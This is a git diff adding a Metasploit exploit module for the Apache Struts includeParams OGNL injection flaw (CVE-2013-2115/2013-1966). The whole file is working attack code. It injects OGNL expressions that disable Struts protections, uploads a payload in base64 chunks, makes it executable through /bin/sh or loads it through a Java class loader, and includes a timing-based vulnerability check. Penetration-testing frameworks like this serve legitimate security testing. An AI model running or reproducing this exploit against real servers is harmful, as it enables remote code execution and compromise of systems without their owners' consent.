diff --git a/modules/exploits/multi/http/struts_cve-2013-2115.rb b/modules/exploits/multi/http/struts_cve-2013-2115.rb new file mode 100644 index 0000000000..2ec401c1b2 --- /dev/null +++ b/modules/exploits/multi/http/struts_cve-2013-2115.rb @@ -0,0 +1,165 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts includeParams Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts + versions < 2.3.14.2. A specifically crafted request parameter can be used to inject + arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. + }, + 'Author' => + [ + 'Eric Kobrin', # Vulnerability Discovery + 'Douglas Rodrigues', # Vulnerability Discovery + 'Coverity security Research Laboratory', # Vulnerability Discovery + 'NSFOCUS Security Team', # Vulnerability Discovery + 'Richard Hicks ', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2115', '2013-1966'], + [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'] + ], + 'Platform' => [ 'win', 'linux', 'java'], + 'Privileged' => true, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'windows' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DisclosureDate' => 'May 24 2013', + 'DefaultTarget' => 2)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('PARAMETER',[ false, 'The parameter to perform injection against.',""]), + OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action?INJECT"]), + OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) + ], self.class) + end + + def execute_command(cmd, opts = {}) + inject = "PARAMETERTOKEN=${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" + inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER'])) + inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd)) + uri = String.new(datastore['TARGETURI']) + uri = normalize_uri(uri) + uri.gsub!(/INJECT/,inject) # append the injection string + resp = send_request_cgi({ + 'uri' => uri, + 'version' => '1.1', + 'method' => 'GET', + }) + return resp #Used for check function. + end + + def exploit + #Set up generic values. + @payload_exe = rand_text_alphanumeric(4+rand(4)) + if datastore['PARAMETER'].length == 0 + datastore['PARAMETER'] = rand_text_alpha_lower(4) + end + pl_exe = generate_payload_exe + append = 'false' + #Now arch specific... + case target['Platform'] + when 'linux' + @payload_exe = "/tmp/#{@payload_exe}" + chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" + exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" + when 'java' + @payload_exe << ".jar" + pl_exe = payload.encoded_jar.pack + exec_cmd = "" + exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," + exec_cmd << "#q.setAccessible(true),#q.set(null,true)," + exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," + exec_cmd << "#q.setAccessible(true),#q.set(null,false)," + exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," + exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," + exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" + exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + when 'windows' + @payload_exe = "./#{@payload_exe}.exe" + exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" + else + fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') + end + + #Now with all the arch specific stuff set, perform the upload. + #109 = length of command string plus the max length of append. + sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length + chunk_length = 2048 - sub_from_chunk + chunk_length = ((chunk_length/4).floor)*3 + while pl_exe.length > chunk_length + java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) + pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] + append = true + end + java_upload_part(pl_exe,@payload_exe,append) + execute_command(chmod_cmd) if target['Platform'] == 'linux' + execute_command(exec_cmd) + register_files_for_cleanup(@payload_exe) + end + + def java_upload_part(part, filename, append = 'false') + cmd = "" + cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," + cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," + cmd << "#f.close()" + execute_command(cmd) + end + + def check + sleep_time = datastore['CHECK_SLEEPTIME'] + check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" + t1 = Time.now + print_status("Asking remote server to sleep for #{sleep_time} seconds") + response = execute_command(check_cmd) + t2 = Time.now + delta = t2 - t1 + + + if response.nil? + return Exploit::CheckCode::Safe + elsif delta < sleep_time + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Appears + end + end + +end